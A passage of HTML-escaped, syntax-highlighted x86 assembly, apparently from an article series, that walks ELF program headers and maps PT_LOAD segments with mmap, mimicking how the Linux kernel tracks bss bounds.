&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;18h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;1ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Get a FD to the dynamic loader&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SYS_OPEN&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;exit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; snipped code from previous article&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Start our job&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.loop:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_type&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PT_LOAD&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.next&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; push file offset&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_offset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; file offset&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; remove page glitch to offset&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfff&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; push file offset&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; push file descriptor&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; push fd&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; add &amp;quot;MAP_FIXED&amp;quot; flag if we already mapped something&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_DENYWRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; flags&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_fixed&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_FIXED&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nl"&gt;.no_fixed:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; push flag&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; get read/write flags&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_flags&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;get_map_prot&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; push flags&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; push size of mapping&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_memsz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; add remainder&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffh&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; round it up to 1 page&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;1000h&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; get RVA where to map it and add imagebase to it&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; voffset&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SYS_MMAP&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;save image base if not stored&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.nosaved&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_phoff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nl"&gt;.nosaved:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;; Save elf_bss and map_bss as Linux kernel does&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;save elf_bss if greater than stocked&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_filesz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;18h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;ja&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_elf_bss&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;18h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nl"&gt;.no_elf_bss:&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;save map_bss if greater than stocked&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;10h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_memsz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;1ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;ja&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_map_bss&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;1ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nl"&gt;.no_map_bss:&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.next:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.loop&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Now, fill of zeros padding between last_bss and end of file&lt;/span&gt;
